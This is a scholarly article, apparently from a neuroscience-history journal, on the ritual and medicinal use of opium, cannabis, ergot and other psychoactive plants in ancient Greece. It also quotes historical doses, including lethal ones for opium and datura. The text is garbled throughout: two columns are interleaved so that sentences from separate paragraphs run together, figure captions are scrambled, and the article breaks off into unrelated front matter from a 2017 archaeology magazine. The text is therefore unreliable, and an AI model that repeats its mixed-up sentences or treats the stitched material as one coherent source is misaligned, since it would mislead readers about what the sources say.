sustained an arrow wound and was cured by Machaon.6 Within these healing temples, the sick made a series of offerings and sacrifices to Asclepius and underwent rit- The daughters of Asclepius included Hygieia (the per- uals including one-day fasts, three days of abstinence sonification of health), Panacea (associated with univer- from wine, baths, and massages. The different build- sal cures), and Iaso (the goddess of recuperation). ings in the healing temple contained areas for physical exercise and special rooms for the sick. After finishing Apollo was also considered an oracular god, and a major their purification rites, the sick were led to the abaton or temple was dedicated to him in his sanctuary at Delphi, incubation chamber where they would participate in a where the Pythia or oracle revealed her visions or pre- practice called ‘dream incubation’. Asclepius would ap- dictions of the future. Apollo had the power to summon pear to a fortunate few in their dreams and cure them illnesses in the form of plagues (the so-called arrows of by touching the ailing part of their body (Figure 3). On Apollo), and also to cure them. other occasions, Asclepius appeared in the dreams of the 29 Neursci Hist. 2013; 1 (1): 28-38 sick and informed them of what was causing their dis- The practice worked by the principle of analogy; it was tress or provided a list of remedies that they should take believed that like followed like. Animals could therefore upon waking. Numerous offerings and votive deposits be used as vessels for illnesses, and their entrails were were left in the temples in thanks for cures provided by used after they were sacrificed. Logotherapy, healing the god. The ex-votos that have been found inform us with words, supplication, invoking the gods, commina- that Asclepius cured many diseases, treated ulcers and tion, epode and exorcism were yet other methods used kidney stones, and restored sight to the blind indicate by the priests at the Asclepeia, who served as interme- that sleep may have been induced by narcotics whose diaries between patients and the gods. Niktiday –cere- effects did not include the stupor provoked by the sola- monies with music and dancing– and nocturnal dances naceae family or the visionary trances caused by canna- to purge the body of illness were used in this ritual con- bis. With this in mind, opium is believed to be the main text. An example of the magical approach to healing in narcotic agent used in dream incubation. ancient Greek medicine is the story of how Melampus healed the daughters of king Proetus by splashing pig’s blood on their foreheads; the girls had been driven mad after refusing to participate in the rites of Dionysus. From Homeric medicine to the Pre-Socratic era While use of healing temples was on the rise, botanical remedies for treating wounds were also being developed. Homer’s Iliad contains a remarkably large anatomical vo- cabulary with more than 150 words, including kranion, osea, sphondyloi, pleurai, brakhion, yugulum, eakhis, and splankna. It also describes nearly as many wounds with high mortality rates and in various locations, including the head, thorax, abdomen, limbs; most were caused by Figure 3. Scene of a dream incubation in which Asclepius appears. lances, while others were caused by swords and arrows. Epidaurus. In the Iliad, Homer relates how Achilles treats and ban- dages the wounded arm of his friend Patroclus, which Theurgic medicine indicates a certain familiarity with techniques for treat- ing war wounds. Ancient medicine was based on mythological beliefs and the idea that human beings were inferior to a divine Later on, in the 6th century BCE, secular schools of power. Sickness was interpreted as punishment by the medicine began to be founded which distanced them- gods, and such punishment could either be collective selves from the temples of Asclepius and their magical (plagues, arrows of Apollo) or individual (leprosy, blind- and spiritual approach. This was the birth of pre-Socratic ness, insanity). Some sick people might be possessed by and pre-Hippocratic medicine, which was further devel- a malignant spirit or daimon, or as in cases of epilepsy, oped at the schools of Knido and Cos. suffer from the effects of a curse. These schools began using a scientific approach to an- Theurgic medicine in ancient Greece was magical in alysing symptoms, formulating the diagnosis, deter- nature and concerned with both prognosis and preven- mining the prognosis, and prescribing treatment. These tion; it also made use of a number of rituals. The Greeks medical schools, which predate Hippocrates, would practiced apotropaic magic and obtained the gods’ fa- come to recognise that not all illnesses are curable and vours through ritual sacrifices. Rites of propitiation and that no doctor can turn aside fate. atonement were used in an attempt to ward off sickness. Additionally, the Greeks used rites of katharsis to purge But prior to this, in the Archaic period, numerous psy- illness from the sick. This cleansing ritual made use of choactive plants were used to induce visionary or trance river water, although at times purification was achieved states within a context of magical and religious rites, as by using fire. described in the following section. 30 Neursci Hist. 2013; 1 (1): 28-38 2. Papaver somniferum gos, Albuñol, in the province of Granada. Nevertheless, the oldest evidence of ritual therapeutic use of the poppy Ethnobotany is a Sumerian text from Mesopotamia, which describes it as the plant of happiness. Sumerians grew poppies and The opium poppy is an annual herbaceous plant found harvested their opium some 3000 years before the Chris- throughout the entire Mediterranean region. Its mat- tian era. ure encapsulated fruit and its sap contain a high concen- tration of alkaloids. Extracted opium, a word of Greek Poppies were known in ancient times along the Med- origin meaning ‘juice’, has an alkaloid content of approx- iterranean basin and also in the Near East. Literary imately 10% to 20%, and a mineral content of 6%; sugars sources and archaeological evidence point to poppy use and organic acids account for 20%. In contrast, its seeds in the eastern Mediterranean region in the Late Bronze do not contain alkaloids. Age. Ritual artefacts associated with poppy use have been found in Cyprus, Crete, continental Greece, Syria, Two types of alkaloids have been isolated in opium: and Egypt. A ritual vessel containing poppy seeds was phenanthrene derivatives (morphine, codeine, thebaine) found in the ruins of Beycesulan, an Anatolian palace and isoquinolines, derived from tyrosine with a benzyli- destroyed in the 19th century BCE. Plantations were soquinoline nucleus. Morphine, a name derived from yielding opium in Thebes as long ago as the 15th century the god of sleep Morpheus, accounts for 10% of the to- BCE. Egyptian-produced opium was called Thebaic opi- tal alkaloids in opium, while codeine (methylmorphine) um (‘thebaine’, the name of one of the opium alkaloids, is and thebaine (dimethylmorphine) account for 0.5% derived from this name). Opium was used as a narcotic and 0.2% respectively. Alkaloids derived from benzyli- and sedative in Egypt during the reign of Amenhotep III. soquinoline have a spasmolytic effect. Papaverine is the An alabaster vessel containing vegetable oil and opium main alkaloid in this group, and it accounts for 1% of the was found in the tomb of the architect Kha. The Ebers total alkaloids in opium.7 papyrus (1500 BCE) refers to medicinal use of the opi- um poppy. The text recommends using an opium-based The effects of opium are mainly due to its principal al- preparation for calming children who shouted or cried kaloid morphine, which produces a sense of euphoria, too much, and relates that Isis had used it to soothe her happiness, and well-being, while at the same time less- son Horus.8 ening pain and inducing a state of drowsy contentment. Opium poppy consumption may cause nausea, vomit- Poppy use in Greek texts ing, constipation, and headaches as side effects; users may also develop a tolerance and experience physical Homer’s writings refer to the effects of a number of dependence. philtres and potions made from different ingredients dissolved in wine. Nestor’s drink in The Iliad, and the The technique for obtaining opium was developed in nepenthe referred to in The Odyssey, both fit this de- Neolithic times and remains virtually unchanged today. scription. The process begins about two weeks before the plant’s leaves fall, when the poppy seed capsule is hardening. At Homer is credited with the first mention of poppies in dusk, the poppy seed capsule is scored with small inci- Greek literature (The Iliad, Book VIII, 306), with this sions that allow its latex to flow out. The next morning, poetic reference: “as when a poppy in the garden drops an iron tool is used to remove a brownish paste, which is its head to one side, weighed down with its fruit or with later made into powder. the spring rain, so his head fell to one side under the helmet’s burden”. Nepenthes pharmakon was probably Historical and archaeological findings predating those in an opium-based concoction introduced to the Greeks by Greece way of Egypt. Homer tells us that during a banquet given by Menelaus in Telemachus’ honour, Helen adds a philtre The oldest poppy capsules on record come from a Neo- to the wine to allay the guests’ sadness at remembering lithic village in Switzerland. In Spain, capsules from Pa- Ulysses. This was the drink of forgetfulness erasing all paver somniferum dated to 4200 years ago were found in sadness, as indicated by the meaning of the Greek parti- bundles from a burial hoard at Cueva de los Murciéla- cles ne (not) and penthes (pain), that which ends sadness. 31 Neursci Hist. 2013; 1 (1): 28-38 Helen would have learnt the formula from Polydamna occur with 3 drachmas. At a later time, Scribonius Lar- of Egypt, since Thebaic opium was valued highly by the gus, physician to Emperor Claudius, rediscovered the Greeks; it was said that countless poppies grew in the Assyrian method of making incisions in the poppy pod fertile land of Thebes. At later dates, other Greek writers and described it in his treatise Compositiones Medica- mentioned the poppy (mekon in Greek). For example, mentorum. Hesiod in the 7th century BCE speaks of Mecone (or Mekone), a city near Corinth named for the opium pop- Archaeological evidence of poppy use in Greece py. Strabo provides further details and informs us that Mecone was the old name of Sicyon. In turn, Herodotus Archaeological evidence indicates that Papaver som- compares the poppy to the Egyptian lotus. Pausanias re- niferum was used in ancient Greece. On Crete, a Minoan lated that a statue of Aphrodite holding a poppy flower shrine dating to 1300 BCE and dedicated to the “poppy was raised near the shrine of Asclepius in Sicyon; “the goddess” of fertility and health was discovered in the vil- seated image is the work of Canachus of Sicyon. It is lage of Gazi. The statues of the poppy goddess are a series wrought in ivory and gold, bearing a sphere on the head, of female figures with bell-shaped bodies and uplifted and having in the one hand a poppy and in the other an arms; they are crowned with diadems of poppy heads, apple”. which are used for making opium. These sculptures have been found in underground chambers, along with tube- In his essay “On Government”, Heraclides Ponticus (4th shaped vessels used for inhaling opium smoke. century BCE) stated that the ancients practiced euthana- sia using opium. Furthermore, in the 2nd century BCE, The religious significance of the Poppy Goddess of Crete Theophrastus in his Historia Plantarum describes differ- can be seen when we scrutinise the cut lines represented ent poppy varieties, ways of extracting latex, and opium’s on the poppy heads on the statue; evenly-spaced verti- medicinal uses. Theophrastus refers to the latex from the cal cuts are used to harvest opium, which shows that the poppy as ‘opium’, using the term mekonio to designate extraction technique was highly developed, and that opi- its juice. um was taken for ritual purposes.10 The statue was found in a closed chamber with no doors or windows, but In the Hippocratic Treatises, Hippocrates recommends rather an access through the ceiling; the chamber also using poppy juice to treat a number of complaints, in- contained traces of charcoal. It is therefore believed that cluding leucorrhoea and dropsy of the womb. He indi- priests and followers of the goddess also experienced the cates poppy ointment for treating eye problems. Hippo- effects of opium. crates’ Diseases of Women recommends using the black poppy (hypnotikon mekonion). He described the formula Terracotta figures of the poppy goddess of Crete, whose as follows: “Pound the poppy with a pestle, add water, expressions reflect a trance-like state, may be the first ev- and strain. Mix the paste and toast the mixture. Then idence of ritual use of Papaver by using pipes or inhalers. add boiled honey and give to patients with dropsy. Later, The technique of inhaling opium smoke may have been have them drink watered sweet wine or very weak mead, used at a later date in the temples of Asclepius during or store poppy juice and use it in your treatments”.9 In dream incubation. both this treatise and in Precepts, the author mentions opos (the juice) of the poppy and classifies it as a hypnot- An ivory pipe 13 cm long, dating back to the 12th cen- ic sedative agent, along with nightshade and poppy pods. tury BCE and used to smoke opium, was discovered in Kition, Cyprus, along with other ritual artefacts. During In the 3rd century BCE, members of the Empiric school, the Late Bronze Age, Cyprus was able to coordinate an especially Heraclides of Tarentum, were deeply inter- opium production and distribution network which sup- ested in psychoactive plants, and used opium to lessen plied civilisations near the eastern Mediterranean, espe- pain and induce sleep. In this way, poppy juice made a cially Egypt. name for itself as a prototypical alexipharmaka, or pro- tective medicine. In contrast, in the 2nd century BCE in Ceramic artefacts representing poppy heads have been Pergamum, Nicander of Colophon described the drug’s dated back to the Mycenaean Age (BCE 1500). Roy- toxicity and stated that a lethal dosage of Thebaic opium al tomb III at Mycenae contained a metal ornament, could be as low 2 drachmas (7 g), with death certain to perhaps a brooch, in the shape of a poppy. The golden 32 Neursci Hist. 2013; 1 (1): 28-38 seals of Mycenae and Thisbe (Boeotia) show images of trance states in which the poppy is shown in association with female deity linked to some type of tree worship. One of the seals from the famous Treasure of Mycenae discovered by Schliemann shows several female figures presenting poppies and other plants to a seated goddess; this may be Demeter giving seeds to her daughter Perse- phone (Figure 4). On one of the seals from Thisbe, a fe- male worshipper presents poppy heads to the goddess. On another seal, a female figure emerges from the earth bearing poppy heads; this is the Earth Goddess, symbol of fertility. Lastly, the Isopata gold signet ring, found in Crete and dated to BCE 1500, depicts four female figures worshipping a goddess. The signet bears the disembod- ied eye, an image representing the consumption of hal- lucinogens accompanied by ecstatic visions. FFiigurra a5 . 2D.e mAestecrl beepariiong, edairso osf gdraei nl aan md peopdpiyc hineaads .g riega. MAruchsaeeool oAgicraql Mueusoeulómg oifc Aon cNienat cCioorinntahl., Atenas. 3. Cannabis sativa Ethnobotany and properties Hemp or Cannabis sativa has been used since antiquity FFigiguurrea 4 2. .M Aycsencaleeapn iroin, gd sihoosw idnge al at rmanceed sitactien aass ogcriaiteedg aw.i th for making cloth, foodstuffs (seeds), and psychotropic Mpoupspey ous eA. Nraqtiuoneaol Alórcghiaceoolo Ngicaalc Miounseauml, oAf Atethnenass. . resins for any combination of medical, ritual, or spiritual purposes. Archaeological and ethnobotanical evidence Poppies and the gods shows that it has been used for more than 5000 years. In Classical Greece, the opium poppy was used for sa- The three basic types of prepared cannabis are known by cred and profane ends, and it had both medicinal and their Hindi names: bhang, a mixture with dry cannabis nutritional properties. Poppies were associated with the seeds and shoots (“grass”); ganja, unfertilised, seedless gods in Classical Greek mythology. The ancient Greeks flowers of the female plant; and charas or hashish, can- associated fertility and abundance with the poppy, which nabis resin. in turn was associated with the goddess Demeter. Cannabis is made up of more than 400 alkaloids and Demeter was therefore often depicted with opium pop- substances extracted from Cannabis sativa. Some 60 pies and sheaves of wheat and barley (Figure 5). Perse- compounds, called cannabinoids, act on the cannabin- phone (Kore) and Narcissus are also associated with the ergic system; the most abundant are Delta-9-tetrahy- poppy. Persephone is often shown rising from the un- drocannabinol (D9THC), cannabidiol, and cannabinol. derworld with a motif of poppy heads and lily leaves. D9THC is the main cannabinoid with psychotropic ac- tivity, and it was isolated in 1964. Smoking cannabis is a relatively inefficient delivery 33 Neursci Hist. 2013; 1 (1): 28-38 method, since 70% of the D9THC is destroyed by pyrol- ter the death of a member of the group. He described the ysis. Historically, the oral route of administration was the practice thus: most common. However, orally ingested cannabinoids The Scythians...take some of this hemp-seed, and, creeping are heavily metabolised at first, and as a result, only 10% under the felt coverings, throw it upon the red-hot stones; im- to 20% of the dose taken orally actually reaches system- mediately it smokes, and gives out such a vapour as no Grecian ic circulation. The clinical peak effect is reached one to vapour-bath can exceed; the Scyths, delighted, shout for joy, two hours after oral administration, and the effect lasts and this vapour serves them instead of a water-bath... (Hero- four to six hours. In contrast, delivery by the respiratory dotus, 4.75).11 route has an almost instantaneous effect that is perceived within seconds.11 In his treatise Geography, Strabo indicates that this plant grew abundantly in Kolkhis. He also mentions the Kap- Cannabis has a euphoric and relaxing effect, although it nobatai misios, “those who walk in smoke”, referring to may also cause sensations of panic and anxiety the first Getae dancers who burned cannabis flowers to reach time or times it is consumed. In high (toxic) doses, it can states of ecstasy. Dioscorides, on the other hand, made cause changes in temporal perception and orientation, no mention of its psychoactive properties. Instead, he intensify sensory experiences, and decrease attention, records its use as a textile fibre and remedy for earache, reaction time, and motor abilities. Physiological chang- and recommends direct application of the plant’s juice es due to cannabis intoxication include tachycardia and for that purpose. postural hypotension. However, the overall toxicity of cannabis is relatively low due to the short duration of its Galen repeats Dioscorides’ advice for otalgia and re- effect. Cannabis is frequently used along with tobacco in marks on the intoxicating properties of the seeds. He order to increase the efficiency of its effect.11 states that some people consumed hempseed in sweets and desserts at important banquets in order to awaken History pleasure and arousal. Cannabis sativa is was one of the most widely-used psy- Archaeological evidence chotropic plants known to the ancient world. Hemp was found in the steppes of central Asia and in China, where The practice of burning cannabis so as to feel its nar- it was already being cultivated some 5000 years ago in cotic effects is a Caucasian tradition between 5000 and order to obtain textile fibres. Hemp farming was neces- 6000 years old. It may have been the key event in social sary in order to make bridles for horses in these cultures, and religious rituals among nomadic herding groups in which domesticated horses at least 6000 years ago.12 Eurasia in the Neolithic period and the Bronze Age. The Ritual inhaling of cannabis smoke may have originated oldest evidence comes from a pit grave at Gurbăneşti, on the steppes of western China, along the shores of the Bucharest, where a brazier containing traces of hemp Caspian sea, and western Iran; here, cannabis was em- seed from the third millennium BCE was discovered. ployed to reach a sacred state of intoxication in religious rites. Bangha is an old term from Persia that was used Archaeological confirmation of cannabis use comes in central Asia and India; in Sanskrit, it designated the from a number of Scythian tombs and burial sites found plant which the god Shiva obtained from the ocean and in Pazyryk in the Altai Mountains of Siberia. Here, ar- used to promote meditation. The properties of canna- chaeologists uncovered metal braziers containing car- bis were also known in Mesopotamia, and the Assyrians bonised traces of hemp seed which have been dated to called it quunabu. Central Asian civilisations, such as the 4th century BCE.13 Scythian artefacts including tent the Scythians, Thyssagetae, Thracians, and Massageteans frames, leather coverings, bronze vessels and cannabis used it in numerous rituals.12 seeds from the same period have also been found. As Herodotus informs us, it seems that the Scythians had Cannabis in Greek texts the custom of throwing hemp leaves and flowers on the fire, and while those parts of the plant contain psycho- In the 5th century BCE, Herodotus wrote that inhaling active alkaloids, seeds are leftover material with no psy- cannabis smoke was a custom among Scythians and choactive properties. A tomb containing a mummified Massageteans of the steppes in purification rites held af- shaman of the Gushi people was discovered in the Gobi 34 Neursci Hist. 2013; 1 (1): 28-38 desert site of Yanghai. His remains were entombed with Eleusis, initiates fasted for a day to commemorate the bridles, hunting bows, a harp, and a small bundle con- fast of Demeter while she searched for Persephone. This taining nearly 800 grams of cannabis.14 The Ukok site fast was only broken to take kykeon. near the Altai Mountains revealed the mummified re- mains of a Scythian princess from the 5th century BCE. The Eleusinian ceremony, the most secret part of the Her burial hoard contained traces of coriander, Corian- mysteries, was celebrated in the great hall called the Te- drum sativum, which when consumed can also cause a lesterion on the night of the holiest day. Initiates partic- certain degree of intoxication. ipated in this visionary mystery only once in a lifetime, and were forbidden to reveal the content of the ceremo- 4. Claviceps purpurea and the Eleusinian Mysteries ny under pain of death.15 The myth of Demeter and Persephone The Eleusinian Mysteries were some of the most fa- mous religious rites of Ancient Greece, in addition to being some of the most secretive. They were celebrated during nearly two millennia, from 1500 BCE until the 4th century CE (Figure 6). In the city of Eleusis, near Athens, participants honoured the goddess Demeter and recalled the abduction of her daughter, Persephone, by Hades the god of the underworld. According to the epic poem known as the Homeric Hymn to Demeter, the goddess stripped the earth bare of its vegetation to punish the gods of Olympus. Zeus and the other gods begged her to restore the earth’s fer- tility, and Zeus ordered his brother Hades to let Perse- phone rejoin her mother on earth; when she returned, in the springtime, the vegetation came to life. Nevertheless, Persephone had to spend a third of every year in the un- derworld, since she had eaten fruit from the kingdom of Hades. Demeter is associated with agricultural abun- dance. According to this myth, she gave the first grains of wheat to Triptolemus, the oldest son of Metanira, and taught him the secrets of agriculture.15 FFiigguurer a6. 2E.le Ausisncialne pMiyost,e drieiso. sN adtieon laal Amrcehdaeiocloignicaa l gMruieseguam. of The Eleusinian Mysteries MAthuesnes.o Arqueológico Nacional, Atenas. During the celebration of the Greater Mysteries, pil- Greek sources grims journeyed from Athens to Eleusis and participat- ed in a night-time ceremony involving drinking kykeon, The Homeric Hymn to Demeter describes the moment a specially prepared hallucinogenic beverage. Partici- of initiation as follows: pants who experienced marvellous visions were known Then Metaneira filled a cup with sweet wine and offered it to as epoptai, or beholders. Famous figures including Plato, her; but she refused it, for she said it was not lawful for her to Aristotle, Pausanias, Sophocles, and Pindarus participat- drink red wine, but bade them mix meal and water with soft ed in the Eleusinian Mysteries. mint and give her to drink. And Metaneira mixed the draught and gave it to the goddess as she bade. So the great queen Deo Public sacrifices, rites, and purification ceremonies were received it to observe the sacrament.19 performed during the procession associated with the Eleusinian Mysteries. When the procession arrived at 35 Neursci Hist. 2013; 1 (1): 28-38 Claviceps purpurea, an ingredient in kykeon Archaeological evidence Kykeon was regarded as a secret potion that the enlight- There is evidence supporting the hypothesis that ergot ened ones were to take before initiation. It is thought that could have caused the Eleusinian visions. The purple co- kykeon may have contained hallucinogenic substances lour of the fungus is associated with Demeter. Further- that induced visions and the state of ecstasy associated more, the ear of grain was the symbol of the Eleusinian with the Eleusinian Mysteries. By this method, initiates Mysteries. An example of Greek pottery from the 5th would enter a trance state, which was exacerbated by century BCE shows Demeter and Triptolemus holding a fasting and the preceding rituals. sheaf of grain infected with ergot. Traces of C. purpurea have also been found on the interior of a vessel in a sa- We believe that kykeon was a mixture of several ingredi- cred shrine dedicated to Persephone. ents, including water, pennyroyal, and barley; the main ingredient was barley flour, which Hippocrates described 5. Other psychotropic plants as having nutritional (alimentary) properties. Hoffman, Wasson, and Ruck advanced the hypothesis that the Ele- In addition to poppies, hemp, and ergot, the ancient usinian state of ecstasy was provoked by alkaloids found Greeks burned mandrake and henbane as incense, and in the ergot fungus, including lysergamides and lysergic infusions of hemp and myrrh in retsina wine were used acid hydroxyethylamide, which contaminated the grains to add sparkle to social gatherings. Classical authors such of barley.16 as Dioscorides describe various formulas involving wine and mandrake, belladonna, African rue, or black helle- Ethnobotany bore. The ergot fungus (Claviceps purpurea), parasitises cereals, The narcotic effects of Mandragora officinalis were re- gramineae, knotgrass (Paspalum distichum) and darnel ported by Theophrastus and Aristotle. Prior to that, it (Lolium temulentum) in the Mediterranean region. The had been used in Assyria, as shown by cuneiform tablets fungus reproduces in the spring; in dry summer weather, found in the library of the palace at Nineveh, and also as mycelia form dry black sclerotia that are able to survive an anaesthetic in Egypt, as shown by a bas-relief from the winter temperatures.2 reign of Amenhotep III. Ergot (a Claviceps sclerotium) contains a wide variety Henbane (Hyoscyamus Niger) is mentioned in the Ebers of pharmacologically active substances, including more papyrus, and it was also used by Assyrian and Babylonian than 40 ergot alkaloids. The most psychoactive alkaloids priests as a powerful hallucinogen. In Greece, treatises are hydrosoluble, while the most toxic, such as ergot- written by Xenophon and Dioscordes refer to its intoxi- amine or ergotoxin, are not. Isolysergic acid derivatives cating properties. Datura (Datura stramonium) and bel- are pharmacologically inactive, but they may isomerise ladonna (Atropa belladonna) were both used in Mesopo- in an aqueous solution and achieve equilibrium with tamia and Classical Greece.18 active derivatives of lysergic acid. Ergot alkaloids from lysergic acids are categorised as amides (ergometrine), In a passage from the Odyssey, Homer mentions Circe’s peptidic derivatives (ergotamine), or clavines. famous potion and credits it with the power to change Ulysses’ companions into pigs; Ulysses was not affected, The entheogenic chemicals in ergot are water-soluble, thanks to an antidote provided by Hermes. Some authors unlike the toxic chemicals. An initiate could therefore venture that datura, a substance able to overcome the will see his first visions after ingesting an infusion of cereals and facilitate hypnosis, could have been the key ingredi- contaminated by ergot.17 It is believed that Eleusinian ent in this potion. The Greeks had a good knowledge of priests gathered ergot from cereals and paspalum grasses the effects and dosing of different datura species. For ex- growing near the temple, ground it, and added it to the ample, Theophrastus provides the following information kykeon. for Datura metel: ‘Of this three twentieths of an ounce in weight is given, if he is to go mad outright and have delusions; thrice the dose if he is to be permanently insane...four times the dose is given, if the man is to be killed’.20 36 Neursci Hist. 2013; 1 (1): 28-38 Apollonian and Dionysian rites intoxication was therefore achieved in this case through wine and dancing. Euripides described wine as follows: At times, psychoactive plants were used as part of more “there is no other pharmakon against troubles and to elaborate rituals. For example, in Apollo’s Temple at Del- bring sleep; poured as a libation to the gods, it is a god phi, on the slopes of Mount Parnassus, the Oracle or Py- itself ”. thia delivered prophesies and oracular statements on fu- ture events that would have repercussions on social and Conclusions political life in Ancient Greece. These predictions seem to have been made when the Oracle was in a trancelike The peoples of Ancient Greece continued the cultural state. traditions of the Iron Age and the Bronze Age in their use of sacred plants with hallucinogenic properties. She would prepare by sitting before the chasm or crack Classical texts, archaeobotanical remains, findings in in- from which intoxicating vapours arose, chewing bay cense burners, and ritual artefacts all provide evidence of leaves, inhaling smoke from a variety of plants, and such use. In the Archaic period in Greece, poppies, can- drinking water from a specific source, after which she nabis, and other plants such as henbane or datura were would prophesy in an ecstatic trance state.5 Plutarch also used for ritual and medicinal purposes. described the effects of a substance, stating: the body [of the Pythia]...acquires a temper that se- Conflicts of interest ductively brings on sleep...it [the substance relaxes and loosens the chain-like sorrows and tensions of daily The author has no conflicts of interest to declare. cares...it polishes and purifies like a mirror the faculty which is imaginative and receptive to dreams.21 References Plato and Aristotle describe delirium in a Pythia, and the Stoics point to a state of near rapture called enthousias- 1. Carod-Artal FJ, Vázquez Cabrera CB. Usos rituales de la se-milla de Anadenanthera sp entre los indígenas sudamerica- mos. nos. Neurología 2007;22:410-415. 2. Carod Artal FJ. Síndromes neurológicos asociados con el Although there is a lack of evidence as to whether or consumo de plantas y hongos con componente tóxico (II). not the Oracle of Delphi consumed some sort of psy- Hongos y plantas alucinógenos, micotoxinas y hierbas me- chotropic substance, some authors have suggested that dicinales. Rev Neurol 2003;36:951-60.3. Carod-Artal FJ. Alucinógenos en las culturas meso- she chewed bay leaves or a preparation containing opi- americanas precolombinas. Neurología. doi:10.1016/j. um and datura. Another hypothesis revolves around the nrl.2011.07.003 inhalation of intoxicating nitrous oxide vapours emanat- 4. Thorwald J. El alba de la medicina. Barcelona: Bruguera; ing from a nearby geological fault. 1968.5. García Gual C. Introducción a la Mitología Griega. Madrid: Alianza; 2007. Dionysus, the god of grape harvests and wine, was es- 6. Homero. La Iliada. Madrid: Akal; 1998. sentially Apollo’s polar opposite. Worship of Dionysus 7. Freire Duarte D. Opium and opioids: a brief history. Rev Bras was characterised by the ecstasy with which people ex- Anestesiol 2005; 55:135-46. pressed their feelings with the help of wine and dancing. 8. Baraka A. Historical aspects of opium. Middle East J Anes- Religious rites dedicated to Dionysus were celebrated thesiol 2000; 15: 423-436.9. Astyrakaki E, Papaioannou A, Askitopoulou H. References every two years on Mount Parnassus. Women called to anesthesia, pain, and analgesia in the Hippocratic Collec- maenads participated in the rituals, during which they tion. Anesth Analg 2010;110:188-94. would enter a religious trance under the intoxicating ef- 10. Kritikos PG, Papadaki SP. The history of poppy and opium fect of the wine. and their expansion in antiquity in the Eastern Mediterra-nean Area. Bull Narcotics 1967;19:5-10. 11. Russo EB. History of Cannabis and its preparations in Saga, It is said that the maenads ran up to the summit of Science, and Sobriquet. Chemistry and Biodiversity 2007; Mount Parnassus bearing in their hands lit torches and 4:1614-8. a thyrsus, or rod adorned with grape and ivy leaves. At 12. Merlin MD. Archaeological evidence for the tradition of psy- the summit, they would dance wildly to the sound of the choactive plant use in the old World. Economic Botany 2003; 57:295-323. aulos until dropping exhausted to the ground. Mystical 37 Neursci Hist. 2013; 1 (1): 28-38 13. Rudenko SI. Frozen tombs of Siberia. The Pazyryk burials of 18. Becerra Romero D. Las formas habituales de consumir drogas Iron Age horsemen. London: Dent; 1970. en la Antigüedad a partir de la obra de Porfirio De Abstinen- 14. Jiang HE, Li X, Zhao YX, Ferguson DK, Hueber F, Bera S, et cia. Faventia 2006;28:67-78. al. A new insight into Cannabis sativa (Cannabaceae) utiliza- 19. Wasson, RG; Ruck, CA, Hofmann, A. The Road to Eleusis: Un- tion from 2500-year-old Yanghai Tombs, Xinjiang, China. J veiling the Secret of the Mysteries. 1978. New York: Harcourt Ethnopharmacol 2006;108:414-22. Brace Jovanovich; 1978. 15. Spathari E. Mitología griega. Atenas: Papadimas Ekdotiki; 20. Theophrastus; Sir Arthur Hort, translation. Enquiry into 2010. plants and minor works on odours and weather signs. Lon- 16. Hofmann A, Gordon Wasson R, Ruck C.A.P. El camino a Ele- don: W. Heinemann, 1916. usis. Una solución al enigma de los misterios. México DF: 21. Plutarch. De Iside et Osiride. Cambridge: University of Wales Fondo de Cultura Económica; 1993. Press; 1970. 17. Eadie MJ. Convulsive ergotism: epidemics of the serotonin syndrome? Lancet 2003;2:429-34. Follow us! @MAH_SEN 38 SAArchaeological record Graduate CRM Internships: Necessary Experience and Regional Complexities Video Games and Archaeology P A R T T W O S O C I E T Y F O R A M E R I C A N A R C H A E O L O G Y CONFERENCIA INTERCONTINENTAL Se han abierto las inscripciones para la largamente esperada tercera Conferencia Intercontinental! 26–29 de abril de 2017 Oaxaca, México www.saa.org La Conferencia se llevará a cabo toda en español. Las inscripciones estarán abiertas desde hoy hasta el 14 de Abril de 2017. Hay un número limitado de espacios para inscribirse. Los eventos especiales y la visita a zonas arqueológicas están incluídas en la inscripción, pero cada participante debe anotarse para los eventos al momento de su inscripción a la conferencia. Si tiene usted dudas o necesita algún apoyo para inscribirse, favor de contactar a Tobi Brimsek en: tobi_brimsek@saa.org The Magazine of the Society for American Archaeology Volume 17, No. 2 March 2017 Editor’s Corner 2 Anna Marie Prentiss From the President 3 Diane Gifford-Gonzalez, RPA Volunteer Profile: Chelsea Blackmore 5 Improving Teaching in the Archaeology Classroom: 6 Crystal A. Dozier Cognitive Development Theory Applications and Active Learning Pedagogies From the Past . . . A More Sustainable Future? 10 Stephen B. Carmody, Sarah C. Sherwood, Prehistoric Plant Use in the Eastern Woodlands and Carolyn Hoagland graduate crm internships: necessary experience and regional complexities Introduction 17 Diane Gifford-Gonzalez special section: video games and archaeology: part two Bringing Your A-Game to Digital Archaeology: Issues 24 Erik Champion with Serious Games and Virtual Heritage and What We Can Do About It An Unexpected Archaeology: An Interventionist 28 Colleen Morgan Strategy for Video Games and Archaeology Adventures in Archaeological Game Creation 33 Tara Copplestone In Memoriam: Dena Ferran Dincauze 40 Mary Ann Levine and Elizabeth Chilton In Memoriam: Florence Cline Lister 42 Bill Lipe News & Notes 43 Calendar 44 Incised pebble from the Pentlatch site, in Courtenay, British Columbia. More than 100 of these objects were recovered from the site during Simon Fraser University’s archaeological field school in 2016. This project was undertaken in collaboration with K’ómoks First Nation. The Pentlatch site is an inland shell midden located at the junction of two rich salmon rivers on K’ómoks IR No2. The cultural deposits from which these incised pebbles were excavated date from about A.D. 600–800. (Photograph by Robert Muir, permission of K’ómoks First Nation) The Magazine of the Society for American Archaeology Volume 17, No. 2 EDITOR’S CORNER March 2017 Anna Marie Prentiss The SAA Archaeological Record Anna Marie Prentiss is a professor in the Department of Anthropology at the University of Montana. (ISSN 1532-7299) is published five times a year and is edited by Anna Marie Prentiss. Submissions should be sent to Anna Marie Prentiss, anna .prentiss@umontana.edu, Depart- ment of Anthropology, The Univer- sity of Montana, Missoula, MT 59812. In 1984, I was a second-year MA student in public archaeology at the University ofSouth Florida. A requirement for finishing my degree was completing an intern-Deadlines for submissions are: ship within a university, agency, or firm. This eventually took me to the Bureau of December 1 (January), February 1 Land Management in Wyoming, where I spent about a year and a half conducting field- (March), April 1 (May), August 1 work, writing reports, and even for a short time taking on the job of acting district (September), and October 1 (Novem- archaeologist. I learned a lot about what we called section 106 and 110 work in the fed- ber). Advertising and placement ads eral system, and overall it was an incredibly valuable experience for a fledgling archae- should be sent to SAA headquarters, ologist. Good internships offer real-world learning opportunities that would otherwise 1111 14th St. NW, Suite 800, Wash- be hard to obtain in the classroom. They may also be critical steps toward future ington, DC 20005. employment. It certainly worked out that way for me. The SAA Archaeological Record is provided free to members. SAA publishes The SAA Archaeological The March issue of the SAA Archaeological Record offers a diverse range of contributions Record as a service to its members that includes a special section on graduate internships in CRM, organized and intro- and constituencies. SAA, its edi- duced by Diane Gifford-Gonzalez. Amy Gusick and Peter Robertshaw introduce the tors, and staff are not responsible internship program developed for the MA in Applied Archaeology degree at California for the content, opinions, and infor- State University, San 